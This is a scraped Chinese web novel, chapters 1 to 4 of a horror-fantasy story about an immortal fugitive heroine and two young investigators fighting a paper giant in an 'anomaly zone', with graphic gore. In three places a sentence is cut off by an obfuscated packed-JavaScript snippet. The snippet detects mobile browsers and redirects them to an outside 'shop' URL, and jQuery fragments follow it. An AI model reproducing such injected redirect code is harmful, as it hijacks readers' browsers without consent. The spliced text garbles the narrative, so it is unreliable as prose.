《无限副本里的888种死法》 1. 掉了颗螺丝的打工人01 金晟夕越狱了! “金晟夕?我没听错吧!是那位救世主?” “没错,就是她。” 当年丧尸凭空出现,人类没有任何准备,以为末日来临必死无疑,直到一支由陈、席、苏、薄四大家族牵头的队伍站了出来,负责清剿,拯救世界。 他们被称作人类最后的奇迹,而金晟夕是其中重要一员。 她不仅参与消灭丧尸行动,战绩辉煌显赫,还协助疫苗实验,因而美名遐迩皆知。 可她居然杀了陈法嵘。 陈法嵘,陈家家主,是丧尸疫苗的制造者,也是她的恩师。于公于私她都不该做这种事,可被逮捕时她没有任何辩解与抵抗。 主动投案让很多人松了口气,也更让人费解。 然而这才刚过去没多久,牢里的板凳还没焐热吧,人怎么就越狱了呢? 彼时,丧尸刚被全部灭完,大部分城区重新恢复生机,幸存下来的人开始忙里忙外。 “不对劲,她当初认罪多干脆啊,现在这是闹哪一出?”一老人家蹲在自家门口用小刀削平断裂的桌脚。 旁边的男人刚从席家名下的补给站回来,喘着气坐下:“你还真信她是主动认罪?谁知道真实情况是什么样。安防局也是养了一群只会吸血不会干活的臭虫,拿资源一把好手,到出事的时候连一个人都看不住。” 撂下这么几句话,男人扛着米一瘸一拐地走了,赶着回去给家里人做饭吃。 见人走远,大家敷衍地感慨都不容易后,继续八卦。 “安防局也未必关得住她吧。要真论战力,这世上能打赢金晟夕的怕是没几个。”说话的是个正晒着太阳的中年人,才从苏家的地下防空洞出来没多久。 “糊涂啊,好歹灭了丧尸老巢,功劳摆在那儿,坐几年牢,等风头过去,大家自然就忘了嘛,急着跑出来做什么?” “话又不能这么说,丧尸老巢是谁找到的?席家的天才少年席翊天!虽说病恹恹的,但人脑子是真好啊,而且长得帅不说,还总是做慈善……”中年人说到一半被人打断。 “找到老巢是其次,关键剿灭的主力是薄晴吧。人重伤到现在还在医院躺着呢,要不是她倒下了,安防局哪会出这种乱子。” “疫苗那事也是传闻吧。金晟夕真参与过吗,有证据吗?谁亲眼见过?” 讨论很快变了方向。 “这么一说,金晟夕算什么救世主。” “捡功劳的罢了。” “还是个杀人犯呢!” …… 议论声越来越吵嚷,还一句比一句笃定。 一个手臂打着石膏的年轻人路过,听了几句后忍不住开口:“她为什么要杀自己的老师?” “还能为什么?个人恩怨呗。” 事实上,没人知道真正的原因。官方通报里只有冰冷的寥寥几句,没有任何解释。于是各种说法在补给站、防空洞和修复中的街道间流传。 其中一个版本被反复提起:金晟夕不满陈法嵘将疫苗的全部功劳揽在自己名下。 这个解释足够简单,也好传播。 “那她现在逃出来是想干什么?不会是要报复社会吧!” 金晟夕发现自己费了老劲都没人在意她的功劳,于是先杀了老师,后面在牢里越想越不爽,就干脆出来报复全人类! 世人总爱脑补危机,尤其是不讲逻辑的灾难。毕竟经历过丧尸潮还能活下来的人,每天醒来都有点惶恐,有时候甚至觉得那段经历是虚假的。 但这时突然刮起一阵风,角落里还没清理的丧尸残渣被吹得到处滚动,发出的擦擦声让所有人同时缩了下肩,有人还后退一步,差点拔腿就跑,直到确认只是残渣在动才停下脚步。 “苏家的人怎么还没到?” 那残渣必须等苏家名下的专业队伍来处理,普通人一旦接触,有可能被尸毒感染。 “他们干活一向慢,流程多,审批多,出事了再来。哎,习惯就好。” 话说完,所有人的视线齐齐落在那堆残渣上,又很快移开。 大家又安静下来,原本只是随口聊几句,谁也没料到会越聊越瘆人。 因为丧尸是真的,末日曾经降临过,所以金晟夕的出逃只会让人更不安,毕竟她拥有不老不死之身,是比丧尸还要强大的存在。 枪击、爆炸、穿刺,所有致命武器都奈何不了她,哪怕安防局掌握着世界上规模最大的武器库,也始终无法对她形成威慑。 如果她真的想毁掉全人类,易如反掌。 不过,人类的贪婪可以掩盖恐惧。 “不老不死啊,真好!听说吃她的肉用她的血,也能活得久一点。” 有人嫌恶地骂了句:“呦喂,你可别恶心人了,吃人肉吸人血的事你都敢想,不怕被当作丧尸?这话要是传出去,你今晚就会被拖去隔离区。” 嘴上这么说,可几个人的眼神都变得晦暗。 没有人不想活得久一点,包括安防局。毕竟不老不死本身就是一项前所未见的基因资源。局内高层一边放出悬赏,一边调动兵力,巡逻强度甚至回到了对付丧尸潮的级别:无人机日夜盘旋,净土区的关卡重新封死,身份核验被一再升级,对待金晟夕,他们是既渴望又恐惧的。 所有人都以为会等来一场恶战,结果什么都没有发生。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127225|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,两年,十年。 金晟夕没出现过,没有对城市发动袭击,也没有报复安防局。 她只是越狱,然后彻底消失。 又过了好几年,世界再次发生巨大变化。 生态崩溃,能源枯竭,土地逐年减少;城市边界向内塌缩,原本被视为安全的区域接连被封存和废弃。无人知晓这突变的源头,而经历过丧尸潮的人则陆续死去,死于病毒后遗症。 那个名字,也渐渐没人再提。 可有一种执念被保留下来,那就是对不老不死的追求。 ~ 简陋睡袋里,金晟夕蜷在里面睡得正沉,却猛地被一股陌生气味惊醒。 嗯?人的气息。 已经有一年没闻到活人味了吧,什么人呀,跑到这儿来? 正疑惑着,她立刻又觉得不太妙。能在这种地方出现的人,要么是来抓她的,要么是来抢劫的,要么是她无法想象的。 总之都不是什么好事。 身后很快传来急促脚步声,怎么感觉像在逃? 金晟夕决定先消失,本想翻身挪开,把自己藏进一旁的巨石阴影下,可刚醒过来,身体反应慢了点,脚收得不够及时。 结果砰的一声,有人被她绊倒在地。 金晟夕闭眼叹气。 她可不是故意的啊! 咋了下舌,搓了搓手,脸上浮起并不怎么真诚的歉意,蹑手蹑脚走过去看了一眼。 倒在地上的是个年轻女孩。 一身银白色服装,虽沾满污迹,但看着像某种制式作战服,款式还有点眼熟,只是一时想不起在哪见过。 金晟夕很快做出判断,有点眼熟很不妙啊,还是趁现在逃跑吧! 刚准备转身,手臂忽然一紧,那女孩不知何时爬了起来,还一把抓住了她。 力气居然不小。 金晟夕以为对方要算账,琢磨如何耍赖混过去,结果那女孩却反手拽着她往前。 “快跑!” 金晟夕还没来得及问跑什么,地面忽然震了一下。 身后传来哗哗声响,完全不可能是这片荒地会发出的动静。她回头看了一眼,远处的黑色水浪正翻涌而来,速度快得离谱。脑子里只来得及闪过一个想法:要了命了,这干涸的地方什么时候有海水的?幻觉吗这是? 下一刻,浪头往脑袋上狠狠砸下。 金晟夕连忙护住女孩的头。巨大冲击力将两人直接掀翻,视野被灰黑色吞没,身体被掀起、拖拽、翻滚。 刚醒来就获得滚筒洗衣机的体验,虽然很新奇,但金晟夕一脸疲惫地想着: 哎,今天是没法睡回笼觉了。 2. 掉了颗螺丝的打工人02 这片海看着就不太对劲。 水色浑黑,像极她见过的那种丧尸毒液池,伸手去摸才发现根本不是水,而是纸屑堆出来的海。纸上密密麻麻写满了字,却完全看不清写的是什么,因为这些纸屑边缘贼锋利,轻而易举切开皮肤后,还会顺势往里挤,狠狠卡在肉里。 金晟夕原本线条流畅的手臂肌肉此刻被切得层层翻起,皮肤像一片片翘着的鱼鳞,血从切口里渗出,被纸屑一吸,立刻晕染开来,看着相当狼狈。 凌迟吗这是! 更让人难受的还有声音。纸屑擦过皮肤时会发出类似轻蔑的嘲笑声,细听之下发现它们居然在说话,大意无非是你不行,你太弱,你怎么这么蠢? 金晟夕这下反倒冷静了,索性放松手臂任由纸屑刮过,一边享受疼痛,一边想通了对付这堆纸屑的办法。 不过,这片区域到底怎么回事?她在这里躺了快一年,明明挺安分的啊。 还有那个女孩,人呢? 不会已经被切成一小片一小片混进这堆纸里了吧? 四下望去,铺天盖地都是纸。金晟夕迅速在纸海里扫了一圈,啊,找到了。 不远处,女孩双手胡乱拍打,张着嘴似乎想呼救,可纸片一股脑往她唇舌贴,弄得她不停地呛咳,没过多久便耗尽力气,身体开始往下沉。 不妙。 金晟夕吸了口气,也不管纸屑刮进喉咙的疼痛,只顾着蹬腿贴着纸面游过去,转眼就到了女孩身后,一把托住她的脖颈,将头抬了起来。 “别怕,这不是海水,不会淹死人的。” 其实说完这话自己也有点不确定,活了这么多年虽没见过纸屑淹死人的事,但古代倒是有种叫贴加官的酷刑跟纸有关,不过只要别被糊住口鼻,总还能撑一会儿。 金晟夕拍了拍女孩的脸,又叫了两声,依旧没反应。 周围的纸屑翻动不休,细碎声层层叠叠,吵得人脑仁发紧。 她皱眉怒吼一声:“给我安静点!” 话音一落,四周果然清净了不少。 金晟夕忍不住扬了扬眉,得,还欺软怕硬啊。 女孩被这大喊一声给拉回意识,猛地抽气从昏沉中醒来,结果又开始乱扑腾。 “嘿,不是让你别怕嘛,冷静下来!怎么,没学过游泳?” 这年头的小孩,末日求生课到底学到哪去了,基础水域生存不该是必修课嘛? 金晟夕已经在考虑要不要直接把人打晕拖着游走。 好在女孩很快冷静下来,双手开始有节奏地划动,脚下也有幅度地踩着,紧绷的身体慢慢放松,头自然后仰,总算稳稳浮在纸海之上。 “不错不错,就是这样。” 金晟夕正想看清女孩长相,却先听见她嘀咕了一句:“糟了,只剩我一个人,肯定死定了。” 某人不是很认同:“怎么就剩你一个人了?这不还有我嘛。” 女孩愣了一下:“对不起,我不是这个意思,我是说我和队友走散了。对不起,刚才拉你的时候太用力,你有没有受伤?” 金晟夕听着,心里有了判断: 这女孩知道这是什么鬼地方。 而且她说的是队友,看来是有编制的。 以及,孩子是个不错的孩子,就是动不动道歉,这点要改。 金晟夕蹬了下腿让身体往上露出更多,环顾一圈只看见远处灰雾翻滚,没瞧见其他人影。 她收回目光:“不用道歉啦,我没事,好得很,死不了。话说回来,你叫什么名字?来这儿干什么的?对了,你叫我阿金就行。” 听这欢快语气,女孩镇定了些:“你好,金小姐。我叫苏喻,是异象区调查组的实习组员。” 提到异象区,她又开始沮丧。 那是大约一年前被发现的。 最初只是几起失踪事件,地点零散,线索很少,直到同类案件不断累积,调查人员才将其并案,最终发现了一个又一个异象区。 随着调查发现,异象区很有可能是由身份不明的死者制造的,进到里面的人都会遭遇不同的致死攻击,想要脱身就必须破坏支撑区域运转的核心,核心可能跟死者执念有关,但无从验证,因为至今还没有人能成功清除异象区。 苏喻所在的调查组,此行任务是在区域外围布设监测点,按流程收集数据。他们本不该进到这里面来,即便误入也只需在区域完全激活之前撤离即可。区域激活时间需要两到三分钟,完全足够他们逃跑,可偏偏这次在误入的瞬间,区域便立刻完成激活,吞没了所有人。 这是从未出现过的情况。 金晟夕听到这里时,眉头一下蹙紧。 苏喻则沉默下来,显然认为自己死定了,可这时突然想到:“金小姐,你怎么会在这里面?” 所有失踪人员的名单她有看过,并没有一位姓金或者叫阿金的女生。难道是被她卷进来的?! 苏喻的心一下子沉重,四肢也开始变得沉重,整个人缓慢下坠。 金晟夕连忙让她放松:“紧张什么,不关你的事呀,好啦好啦,我好不容易救你,你可别死在我面前哦!” 说话间,她托着苏喻的身体浮出更多,终于看清了她的装束。 银白色工作服从头到脚包裹着她,面部虽被覆盖,衣料表层仍清晰映出五官轮廓,让人能辨认出那是张年轻却苍白的脸;衣服的防护级别不低,被锋利的纸屑切割也毫无破损。 金晟夕看向她的左胸口上,那里嵌着一枚金色徽章,上面的字格外刺眼。 安防局。 哦。 还真是冤家路窄。 哎,她能不能装成一块漂浮垃圾,顺着水流悄悄溜走啊? 这时水流忽然一滞,而后猛地退散。成堆纸屑像被一个大汤勺给捞走,齐齐冲向地面。短短一两秒,俩人周围重新变回空地。 她们这才发现方才让人窒息的水位,其实连膝盖都没没过。 苏喻耳尖红得要命,毕竟作为末日生存学校本届的优等生,她的理论成绩无可挑剔,可刚才却差点在一滩不到膝盖的纸海里把自己吓死。 低着头有点颓丧,正要撑地起身,肩膀却忽然一沉。 金晟夕按住了她:“别动。”声音比方才严肃许多。 苏喻已经习惯了她轻快又随意的说话方式,此刻听见这种语气,顿时有些紧张。 只听她又啧了一声:“看来还没完。” 金晟夕抬了抬下巴示意苏喻往前看,她便顺着视线望去,心脏猛地一沉。 空地上,散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127226|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落的纸屑正在聚拢,如同成群筑巢的蚂蚁在搭建地基,短短片刻,一个黑色巨人立在空地中央,高度接近二十米,轮廓方正,却因头小身大而显得无比诡异:最上方的头颅依旧是人类的尺寸,可下方的躯干却异常膨胀臃肿。 更恶心的是,它被开膛破肚。 纸屑垒出类似肋骨的结构,空腔里堆着五脏六腑,心脏甚至还在上下起伏,肠道却歪斜垂落,活像一具被粗暴剖膛又被胡乱塞回的人形标本。 苏喻胃里一阵翻搅。 金晟夕却看得专注,且评价道:“挺像模像样。”像冠状面的大体老师。 苏喻不敢去问像什么,只好奇另一件事:“金,金小姐,这是制造这个异象区的死者吗?” 金晟夕朝她很快地笑了下:“有可能!” 逃出异象区的办法是找到核心,而核心则跟死者的执念有关,所以,她们如此简单找到死者了? 苏喻脸上刚要浮现笑容,却被金晟夕猛地推开。 巨人突然发动了攻击,攻击落空砸到地上时发出黏稠的怪响。 金晟夕本想看清那攻击物是什么,但很快就放弃了。因为巨人不停地发动攻击,空地又过于开阔根本没有掩体,完全不给人思考时间,只能连忙跑开躲闪。 唯一不需要她操心的是苏喻。在被她推开后,苏喻就迅速调整了姿势、应对自如,看来学校教的还是能派上用场。 金晟夕扫了她一眼,确认短时间内不用再去救她或者替她收尸,便立刻把注意力收了回来。 这攻击源源不断,长时间硬扛肯定行不通,拉开距离同样没用,那该怎么办? 她一边快速移动一边观察巨人,就在又一道攻击擦着她身侧砸下时,一个念头跳了出来。 她明白了。 连忙扭头去找苏喻,才发现两人之间已经拉开了数百米。风声与爆裂声混在一起,任何交流都会被吞没,她只能先大吼一声引起对方注意。 苏喻回头便看见金晟夕利落地比出手势,她看懂了,立即照指示去做。 两人同时转向,朝着相反方向狂奔。 巨人的攻击没有丝毫减弱,射程仍旧覆盖整片空地,分得越开并没有给她们带来任何转机。而且苏喻的奔跑速度开始下降,呼吸明显乱了,差点被正面攻击到。 巨人注意到了这一点,向她发射了更多攻击。 再拖下去,她会先撑不住。 就在巨人以为能先杀死这个人时,她却消失了。 嗯?人呢?! 有那么一瞬间,巨人显得笨拙。 庞大的身躯僵在原地,敞开的五脏六腑暴露在空气中,血水混合脏液顺着骨架滴落在地面砸出啪嗒啪嗒响,那颗比例失调的头颅歪向一侧,令它看上去很呆很呆。 呆呆地看向对面,同样空无一人。 巨人只困惑了一小会儿,很快就接受了这个结果,随即低头盯着自己敞开的腹腔看,不知在想什么。 片刻之后,它抬头面朝前方站定,一动不动。 此时,金晟夕正靠在它的脚后跟饶有兴致地观察着。方才跑过来时,她观察到巨人的头颅居然是一面凹面镜。 凹面镜?为什么是凹面镜?做什么用的? 还有,巨人的头呢? 3. 掉了颗螺丝的打工人03 这时,苏喻终于赶到她身边,气喘吁吁的。 “没事吧?有没有被这大家伙打到?”金晟夕边活动手腕边关心道。 “没事,多亏金小姐的策略。” 原来,巨人的射程范围很广,无论往哪个方向拉开距离都躲不掉,那跑再远都没有意义,所以一个反直觉的策略蹦在金晟夕的脑海里。 巨人的身子这么大,还站在原地不动,那视野肯定存在盲区。 即所谓灯下黑。 因而金晟夕给出的手势意思是分开行动,左右拉开距离,但奔跑轨迹要持续向内收紧,逼近巨人的下方。 事实证明这个判断是对的。 当她们越靠近巨人,攻击落点的误差越明显,因而得以成功躲开所有攻击,并汇合在此处。 苏喻一边庆幸得救,一边在想金晟夕的手势。 那是安防局内部通用的指挥手势,是诸多实战前辈在消灭丧尸行动中流传下来的。 这套手势局里每个人都会接触到,哪怕只是调查组的实习成员;只是大多数人并不会真去记住,毕竟不是所有人都要上场作战。但苏喻记下来了,当初只觉得多记点知识总归有好处,现在看来果真能派上用场。 可是,她面前的这位金小姐是如何得知指挥手势的?难道她也是安防局的人? “发什么呆呢?走,爬上去看看。” 金晟夕猜到苏喻在想什么,但她可没兴趣回答她的问题,更感兴趣这大家伙的事。 “啊!好、好的。对不起,我有听到。” “哈哈好,我知道你听到啦,不用这么紧张。” 我又不是你的长官。金晟夕如此想着,同时对苏喻的印象不错,这人规规矩矩,一本正经,还挺有意思。 苏喻跟在她身后沿着巨人的腿侧向上攀爬,内心在否定自己先前的判断:金小姐并没有穿安防局的制服,而指挥中心也不曾同步过有作战人员介入的信息,那她到底是什么人? 而且眼下还有个问题:“金小姐,我们这是要去哪儿?” “我刚才看到这大家伙的身体里有个门。” 苏喻怔住,本以为接着会听到关于出口的推测,或者至少一个行动理由,但什么都没有。金晟夕只是继续向上爬,因而只好默默跟着。 爬到一半,眼前出现了一截没有栏杆的楼梯。梯阶之间完全镂空,并且有长年被风雨侵蚀的锈迹,踩上去时会咯吱晃动,看起来随时会断。 金晟夕毫不犹豫地手抓脚蹬,蹭蹭蹭直接爬了上去。苏喻咬了咬牙,脚踩上去的那一刻,她清楚地听见自己的心跳声比脚下的动静还响。 不过好在很快来到楼梯的尽头:巨人的肠胃处。 金晟夕观察了一会儿,才分辨出这里属于肠道的哪一段,而且通往上方的楼梯被层层小肠遮挡在内侧,不走近很难发现。 可这时她突然停下。 苏喻不明所以,顺着她的视线抬头,看清楼梯上方的情形后,整个人僵住。 “杨,杨新?!” 名为杨新的男生此刻被吸附在胃壁上,四肢陷进去大半,身体被纸屑压扁,只剩下一张脸勉强露在外面,眼皮半垂,显然晕了过去。 苏喻立即踩着楼梯往上冲,结果一只脚刚踏进胃腔范围,咻的一下身体被拽离地面,梆的一声后背重重撞上内壁,纸屑立刻从她的手腕脚踝开始像蛆虫一样嚅动,直往身上爬。 苏喻没来得及挣扎就晕了过去,昏迷前身子还剧烈地抖了两下。 纸屑继续覆盖,目的明确,要让她和杨新一样只剩下一张脸。 金晟夕一边心想年轻人还是容易冲动,一边已经抽出自己的解剖刀踏上楼梯。果不其然,身体被猛地拽起,肩背撞上胃壁时震得胸腔一紧,纸屑也立刻涌了上来。 这时视野一暗,她昏迷了,然而下一秒就睁开眼,发现手腕还没被完全覆盖,便反手握刀发力,锋刃直接刺入内壁。 噗嗤。 刀卡在骨缝之间暂时拔不出,她便借力向外一拧胳膊,硬生生将自己的身体从胃壁中扯出,随后脚踩在上面稳住重心,再往下转动刀锋,沿着内壁绕圈奔跑,横向扫切。 内壁一下子被剖了个环形裂口,组成胃壁的纸屑被搅得四散开来。 杨新和苏喻先后被甩了下去,在砸向地上前,金晟夕收刀往下跳,一左一右拎起俩人回到安全的肠道处。 组成胃腔的纸屑也在这时回流,内壁裂口迅速闭合。 “呼,还好我速度快。” 金晟夕抖了抖袖口,有股焦糊味,低头看了一眼,连忙将黏在身上的纸屑全都扫掉。 她对自己的行动相当满意,太久没正经动手,身体居然还挺听使唤,跟自己的刀也配合默契。 总体而言,可喜可贺。 这时苏喻醒了,看见正心情不错扭着脖子的金晟夕,和还躺在地上奄奄一息的杨新,记忆这才一点点回笼。 “金小姐,我……” “你醒啦?手指脚趾有没有发麻?先活动一下,别急着站起来。” 说完她便反扣十指,向前用力一掰,关节啪啪啪响起。 苏喻下意识照做,身上的确麻麻的。 “刚才究竟发生了什么?” “哦,没什么,你们刚刚被纸吸住了,静电吸附听过没?大概就类似那样。” 苏喻一怔:“纸?可纸不带电啊,怎么能主动吸附我们?” “是啊,我也奇怪着呢,可能是这些纸屑把我们当纸屑,而把自己当作人了吧。” 这话让苏喻瞬间变了脸色。 金晟夕哈哈大笑:“别太紧张,异常在这地方属于常态吧,习惯就好。” 拉伸完毕,走过去拍她肩膀,朝杨新的方向示意了一下:“先把他叫醒,问问是怎么进来这大家伙的肚子里的。” 苏喻其实还有不少疑问。 她很确定方才被吸到胃壁时感受到一股电流,电流沿着四肢窜入体内直接将她电晕。 那么问题就来了。 金小姐是怎么在被电击后挣脱出来的?对电免疫吗? 难道她是异能者? 不过现在没心思追根究底,她更在意还存活着的队友。 “杨新,杨新,醒醒。” 杨新皱眉呜咽,额角全是冷汗,像是刚从一场噩梦里挣扎出来,直到看清近在咫尺的那张脸时,整个人才松了口气。 “苏喻?你也死了吗?” 他以为自己到了天堂。 “想得真美啊小朋友,死哪有那么容易。快,苏喻给他检查一下,有没有什么问题?” “哦,好,好的。” 杨新一头雾水地配合检查,同时扫视了一圈四周,陌生的空间还有一个陌生人,因而眉头一拧,瞬间警惕。 “你是谁?” 这小屁孩的语气十分傲慢,好像她是什么敌人似的,金晟夕嗤笑回应:“你的救命恩人。” 杨新更警惕地盯了她好一会儿,苏喻连忙解释,说到最后才想起问他:“你怎么会在巨人的胃里?” 杨新按着太阳穴:“我也不知道,啊啊头好晕啊,苏喻你还有镇定剂吧?再给我来一针。” 苏喻一听他不正面回应,下意识收紧了手。 毕竟异象区里看起来像人的东西未必是人,谁知道眼前这个到底是杨新,还是巨人捏出来的幻觉。 杨新抬头一看她的表情,瞬间慌里慌张地解释:“我是杨新啊,我没问题!真的!我能背出自己的工号,还有你的。等会儿,你刚才问什么来着?我回答就是,我想想啊……” “小卷毛,你被巨人的攻击命中过吧?”金晟夕实在受不了他磨磨唧唧。 杨新愣了一秒,眼睛猛地亮起,连忙拍大腿:“对!等等,我不叫小卷毛,我叫杨新!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127227|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 金晟夕看他一头灰黑色卷毛,神情一本正经地点头,实际在憋着笑:“哦,好的,小卷毛,那就没错了。” 原来,向苏喻比完手势后,金晟夕并没有先去汇合,而是好奇地等待巨人的攻击,观察了一会儿攻击物,因而大致能猜到杨新是怎么被弄到胃壁上的。 在这期间,她还顺便换了一身新衣服。 金晟夕简单解释:“你们见过蜥蜴吃虫子没?巨人吐出攻击物,把你给黏住再弹回嘴里吞进肚子里。” 听到这里,杨新觉得自己身上还残留着黏液,皮肤顿时一阵发紧,鸡皮疙瘩从后颈一路炸到脚底。他哭丧着脸想让苏喻给自己检查看看身上脏不脏,结果这时地面忽然传来震动声。 是巨人动了。它忽然将双臂抬起,笔直地伸向前方,似在等着接住什么。 它这一动,藏在它体内的三个人同时失了重心。 “快抓紧我!” 金晟夕反应极快地伸手钩住楼梯,苏喻将杨新往背上一带后,也用双臂环住金晟夕的腰,紧紧抱住才勉强没掉下去。 三人暂时安全。 杨新惊魂未定:“靠!吓死人了。” 金晟夕安慰道:“可不嘛,这大家伙动之前也不说一声。” 杨新习惯性吐槽:“它要是真说一声,我们还能活吗?” 苏喻对他的态度不是很认同:“杨新,是金小姐救了我们。”意思是在提醒他,说话要礼貌一些。 杨新挠了挠头,正想道歉,头上却响起一阵笑声。 “哈哈哈哈,没事没事。”金晟夕笑得断断续续地说,“不过苏喻,你,哎哟,你能不能,哈哈哈,你先抓下楼梯吧,我有点撑不住了,好痒好痒,哈哈哈哈……” 她笑得气都不太顺,因为腰上有痒痒肉。 杨新满脸写着难以置信,这人真的救了他们? 苏喻也被这反应弄得一怔,很快松手改为抓住楼梯:“大家伙,咳,巨人为什么突然动了?” 金晟夕深吸一口气,总算止住笑:“你们往外面看下,有没有发现不对劲。” 两个小孩连忙往外看,外面的天色骤然变暗,风一阵阵刮过平地,却发出恼人的噪音,像有什么大型设备在咯吱运转。 而更诡异的是,平地上空突然亮起了一道光。光束在高空中左右移动,扫射幅度极大,每一次转向还拖出短暂的白色残影。 杨新不解。 因为那光束悬在比他们所处位置更高的上空,意味着那不可能是地面探照灯,也不像无人机发出的光芒。 难道:“这不会是巨人打的光吧?!” 金晟夕打了个响指:“聪明!从高度和轨迹看,光源大概率在它头部。原来如此,那凹面镜其实是探照灯设备啊,还挺别致。” 杨新并没有被夸赞的喜悦,身子反倒一僵,尤其在听到巨人的头是一盏灯后,而且很快意识到这光并不是用来照明的。 随着光束来回扫射,天穹上原本稀薄的云层开始聚拢。云层中有东西接连坠落,以为是酸雨或冰雹,可细看才发现根本不是什么他们熟悉的极端气象。 而居然是尸块!!! 金晟夕一眼辨出那具体是什么尸块。 先是眼球。 被挖出来的那种,还挂着眼眶、粘着神经纤维。 还有那种只有鼻子和嘴巴、一排牙齿裸露在外,表情卡在一个来不及发出惨叫的半张脸。类似的尸块密密层层砸落下来,上臂、手掌、大腿、小腿,数量多到离谱,看着也相当血腥。 饶是当过几年法医、又在丧尸潮里摸爬滚打过的金晟夕,也很少见过这种阵仗。 她看了一会儿,给了个评价:还挺壮观。 而底下的两位小朋友早已脸色惨白。杨新甚至脚下一软,直接从梯阶滑跌到地上;苏喻则扭过头不敢再看。 但没想到,尸块雨还只是个开胃菜。 4. 掉了颗螺丝的打工人04 原来,苏喻杨新所在的这支调查小队一共五人,除了他们还有三名老队员。 勘查刚开始不久,三名老队员先发现异常,连忙发出撤退信号,让苏喻和杨新立刻离开。可惜信号发出前异象区已经激活,五个人都被卷了进来。 队长主动留下抵御异象区的侵害。 在纸屑汇聚成浪时,他开枪反击,子弹穿过纸浪,只在浪面上打出短暂的空洞,洞口随即被纸屑填补。他没有放弃,继续射击,同时下达命令,让其余人员继续向前,不要回头。 两名老队员没有执行这个命令,而是转身加入队长。三人并肩站在两名新人身后,为他们争取更多的逃跑时间。 苏喻和杨新只好赶紧跑,跑了没一会儿,身后的浪潮已追了上来。他们清楚这意味着什么,但只能哭着奔跑。 继续向前,不要回头。 是队长的命令。 可惜,纸海最终还是追上了他们,将两人直接冲散。 杨新由于奔跑速度更快,躲过了被纸海凌迟或溺亡的下场,然而下一秒,巨人发动攻击。他来不及反应就被正面击中,意识中断,直到方才才醒。 而此刻,眼前这片下着尸块雨的空地中央,出现了三道人影。 是那三名老队员。 其实这三人年纪并不大,最年长的也不过二十七八岁,可他们现在就跟七八旬老大爷似的走得很慢,每一步都拖拖拽拽,身体还左右摇晃。对丧尸很熟悉的金晟夕,宛如见到了老朋友。 杨新猛地起身,差点喜极而泣,结果一团尸块砰的一下,直直砸在队长脸上。 那是一条右小腿,撞得他的上半身倾斜至与地面平行,可他居然没有倒地,只卡了一下便再次直立身子,脊柱发出咔哒错位响,但他恍若不知疼痛,继续向前走。 那条右小腿还挂在脸上,沿着脸颊一缩一松地爬,蹭过眼眶、鼻梁和嘴角,留下黏糊糊的液体,来到颈侧停了下,探出一根根肌肉纤维贴着他的脖颈皮肤来回地滑,好像在确认什么。几秒后,它感觉不太对,便继续往下爬,沿着锁骨滑到腋下,再绕到后背向下爬呀爬。当来到右大腿时,它再次探出肌肉纤维,这次直接往队长的膝窝刺下去。 找到了! 那条右小腿兴奋地剧烈抖动。而后,它突然裂开个口子,露出一圈黑色尖牙。 咔嚓。 尖牙嵌进队长膝盖下方的皮肉,并直接扯碎了表层组织。 咔嚓,咔嚓,咔嚓。 尸块在进食。 杨新用的是工作服内置的智能探测镜,它不仅能看到数公里外的任何事物,还能收录声音,而且会随着使用者的瞳孔变大而加强观测力度。好比现在,杨新已经惊诧到睁大双眸,因而画面细节被一层层放大、贴近,看得一清二楚,同时那残忍的骨头断裂声和血肉咀嚼声也传进耳里,听得脊背发麻,令他止不住干呕、呜咽: “队——长——” 苏喻听见他在喊队长,才扭头去看。 此时那尸块已快要取代完队长的原装小腿,血肉被撕扯、咀嚼、吞咽的声音在耳道里响起,令她喉咙发紧,难以置信。 然而尸块雨还在继续,它们还在疯狂进食。 那三名老队员的腿、手臂、躯干、脑袋,整具身体被逐段更换,四肢比例严重失调,五官错位地拼在一起;走了不到百米,人已经完全变了样。 杨新和苏喻毫无办法,只能站着、看着,然后记住这一切。 “他们早就死了,不是被那些尸块弄死的。” 金晟夕一眼看出那是三具新鲜尸体。 他们大概率是被纸屑覆盖口鼻、重重挤压胸腔,在挣扎中窒息而亡的。死亡时间不长,皮肤尚未出现尸斑,却有典型的痉挛状态,手指强直收拢,指缝间夹着少量纸屑。 她解剖过不少生前溺死者,即便是自杀,人在失去意识前也会试图抓住周围能抓到的任何东西,而极度恐慌下肌肉会收缩,将这些东西牢牢攥在手里,死后便形成无法松开的痉挛状态。 “死,死了?” 杨新喉咙发紧,嘴里重复着“不可能”,以此试图否认自己的幸存是建立在前辈们的牺牲之上的。 不过现在说幸存似乎还早得很。 乌云仍在聚集,尸块不断坠落。巨人高举的双臂和摊开的掌心,原来是为了接住它们,接住后居然是用来修补自己的身体,而修补的部位正是金晟夕等人所在的位置。 